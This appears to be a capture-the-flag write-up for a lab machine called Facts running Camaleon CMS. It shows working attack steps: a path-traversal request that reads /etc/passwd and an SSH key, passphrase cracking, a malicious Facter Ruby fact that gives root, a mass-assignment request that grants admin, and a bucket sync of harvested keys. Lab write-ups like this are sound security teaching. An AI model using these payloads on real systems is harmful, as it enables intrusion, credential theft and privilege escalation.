Summary

Facts is a medium-difficulty Linux machine running Camaleon CMS version 2.9.0. Initial access is gained by exploiting CVE-2024-46987, a path traversal vulnerability in the media download functionality, which allows retrieval of an encrypted SSH private key for the trivia user. After cracking the passphrase with John the Ripper, SSH access is obtained. Privilege escalation is achieved by exploiting sudo privileges on the /usr/bin/facter binary, which allows execution of arbitrary Ruby code as root through custom facts.

Recon

Nmap

I’ll start with a comprehensive TCP port scan to identify running services:

nmap -p- -sCV 10.129.64.209

The scan reveals three open ports:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.64.209:9001

Port 80 redirects to http://facts.htb/, so I’ll add this to my /etc/hosts file:

echo "10.129.64.209	facts.htb" >> /etc/hosts

Web Enumeration

Visiting the site reveals a basic CMS installation:

Running feroxbuster to discover directories:

feroxbuster -k -u http://facts.htb/

The scan identifies several interesting endpoints:

302      GET        0l        0w        0c http://facts.htb/admin => http://facts.htb/admin/login

The admin panel redirects to a login page at http://facts.htb/admin/login:

Examining the response headers reveals the CMS being used:

link: </assets/camaleon_cms/admin/admin-basic-manifest-4a345527ab92050e4ecb0f7d9d30c6090c451165b9ffaf00266b2aa5231cda7f.css>

After registering a new account and logging in, the footer confirms we’re dealing with Camaleon CMS version 2.9.0:

Initial Access

CVE Research

With the CMS and version identified, I’ll search for known vulnerabilities using CVE Details. Sorting by EPSS (Exploit Prediction Scoring System) score helps identify vulnerabilities likely to be exploitable:

The vulnerabilities above are for version 2.8.0, but it is worth the try since they are quite easy to reproduce. CVE-2024-46986 needs us to find a way to restart the service or reboot the box, which we do not have. CVE-2024-46987 on the other hand is a path traversal vulnerability that looks promising despite its low EPSS score and the only pre-requisite is authentication.

The vulnerability is documented in the GitHub Security Advisory and allows arbitrary file read through the media download endpoint.

Path Traversal Exploitation

Testing the path traversal with /etc/passwd:

http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd

Filtering for shell users reveals three accounts:

root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

SSH Key Recovery

I’ll attempt to retrieve SSH private keys for these users. Testing various key types (id_rsa, id_dsa, id_ecdsa, id_ed25519), I successfully retrieve trivia’s id_ed25519 key:

http://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABB5wOkiZK
hmXQJ0gnV9QUhTAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIFsmSg3F74g7c4mg
<SNIP>
-----END OPENSSH PRIVATE KEY-----

Cracking the Passphrase

The key is encrypted, so I’ll use ssh2john and john to crack the passphrase:

ssh2john key > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
dragonballz      (key)

With the passphrase dragonballz, I can now SSH into the machine:

chmod 600 key
ssh -i key trivia@10.129.64.209

After logging in, I navigate to william’s home directory and retrieve the user flag:

trivia@facts:/home/william$ cat user.txt
84a36b78************************

Privilege Escalation

Sudo Enumeration

Checking sudo privileges for the trivia user:

trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

The trivia user can execute /usr/bin/facter as root without a password.

Facter Exploitation

According to GTFOBins, Facter will execute the first .rb file found in a custom directory. Since this runs with elevated privileges via sudo, I can create a malicious Ruby fact.

I’ll create a custom fact that creates a SUID bash binary:

cat << EOF > /tmp/exploit.rb
Facter.add(:exploit) do
  setcode do
    system("cp /bin/bash /home/trivia/rootbash && chmod +s /home/trivia/rootbash")
  end
end
EOF

Executing the custom fact with sudo:

trivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp/ exploit
true

The exploit successfully creates a SUID bash binary. Running it with the -p flag preserves privileges:

trivia@facts:/tmp$ /home/trivia/rootbash -p
rootbash-5.2#

Finally, retrieving the root flag:

rootbash-5.2# cat /root/root.txt
1d7f4b1c************************

Beyond Root: The Intended Path

While the path traversal vulnerability provided a direct route to the SSH key, the intended path involved a more complex chain involving Mass Assignment and Cloud Credential Harvesting.

Privilege Escalation via Mass Assignment (CVE-2025-2304)

The application is vulnerable CVE-2025-2304, a critical Mass Assignment flaw in the Camaleon CMS core (affecting versions < 2.9.1), specifically within the updated_ajax method of the UsersController. This vulnerability allows a low-privileged user to escalate their privileges to a full admin role by abusing how the Ruby on Rails backend processes incoming parameters.

The vulnerability stems from the use of the dangerous .permit! method in the Rails Strong Parameters implementation. Instead of whitelisting specific fields (like password), .permit! allows all submitted parameters to pass through to the database model without filtering. More information can be found on this GitHub Advisory link.

Exploitation: Parameter Smuggling

When a user updates their password, the application sends an asynchronous request to /admin/users/[ID]/updated_ajax. By intercepting this request, an attacker can perform Parameter Smuggling, replacing sensitive model attributes that were never intended to be user-editable.

By swapping the password[password] parameter for password[role]=admin, the server processes the mass assignment and updates the user’s database record to the administrative group.

Exploit Payload Example:

 POST /admin/users/5/updated_ajax HTTP/1.1
 <SNIP>
 
- _method=patch&...&password%5Bpassword%5D=test&password%5Bpassword_confirmation%5D=test
+ _method=patch&...&password%5Brole%5D=admin&password%5Bpassword_confirmation%5D=test

S3/MinIO Exploitation

With administrative access, the Filesystem Settings become visible. The CMS is configured to use a local MinIO instance (exposed on port 54321) as an S3-compatible storage backend.

1. Credential Harvesting

The configuration menu reveals the following hardcoded credentials:

  • Access Key ID: A*******************
  • Secret Access Key: i*******************
  • Endpoint: http://localhost:54321

2. Interacting with MinIO

Using the AWS CLI, we can configure a profile and enumerate the storage environment:

aws configure --profile facts
# Enter the harvested Access Key and Secret Key

Listing the available buckets reveals an internal bucket:

aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts

3. Data Exfiltration

The internal bucket contains a .ssh directory. By syncing this to our local machine, we recover the same encrypted id_ed25519 key used in the LFI method:

aws s3 sync s3://internal/.ssh ./ssh --endpoint-url http://facts.htb:54321 --profile facts

This confirms that the path traversal was a significant shortcut to a much longer intended chain of web and cloud misconfigurations.